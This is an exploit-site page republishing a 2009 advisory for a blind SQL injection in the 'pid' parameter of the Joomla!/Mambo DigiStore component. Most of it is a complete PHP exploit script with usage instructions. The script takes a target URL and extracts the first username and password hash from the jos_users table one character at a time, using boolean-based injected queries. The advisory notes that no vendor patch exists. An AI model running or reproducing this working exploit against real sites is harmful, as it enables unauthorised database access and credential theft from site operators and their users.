No account yet?
Home » Exploits » Joomla! and Mambo DigiStore Component 'pid' Parameter SQL Injection Vulnerability
Joomla! and Mambo DigiStore Component 'pid' Parameter SQL Injection Vulnerability E-mail
Feeds - Exploits
Written by Cyb3R-1sT   
Wednesday, 04 March 2009 22:11
Joomla! and Mambo DigiStore Component 'pid' Parameter SQL Injection Vulnerability


-\\Bugtraq ID:
33953

-\\Class:
Input Validation Error

-\\CVE:


-\\Remote:
Yes

-\\Local:
No

-\\Published:
Mar 02 2009 12:00AM

-\\Updated:
Mar 04 2009 04:46PM

-\\Credit:
Cyb3R-1sT



-\\Vulnerable:
iJoomla DigiStore  0



-\\Discussion
Joomla! and Mambo DigiStore component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.



-\\Exploit(s)/PoC(s):
Attackers can use a browser to exploit this issue.

The following exploit code is available:

===============================================================
33953.php
^^^^^^^^^^
<?php
ini_set("max_execution_time",0);
print_r('
##############################################################################
#
#          Joomla com_digistore (pid) Blind SQL Injection Exploit
#
#                             ===  Cyb3R-1sT  ===
#                        cyb3r-1st [at] hormail.com
#                               inject0r5 t3am
#
#                                  : Usage :
#php file.php "http://www.example.com/index.php?option=com_digistore&task=show_product&pid=1"
#
#                                : Sp.GrEetZ :
#            [ All friends ] & [ www.7rs.org ] & [ www.tryag.com]
#
##############################################################################
');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1--"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0--"));
$t = abs((100-($w/$r*100)));
echo "Username: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}
echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
   for ($i = 46; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 102;
      }
   }
}
}
?>





-\\Solution
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: This e-mail address is being protected from spambots. You need JavaScript enabled to view it .



-\\References(s)
--DigiStore Homepage
http://www.ijoomla.com/ijoomla-digistore/ijoomla-digistore/inde  (iJoomla)
--Joomla! Homepage
http://www.joomla.org  (Joomla!)
--Mambo Homepage
http://www.mambo-foundation.co  (Mambo)
 

Security Services by HSC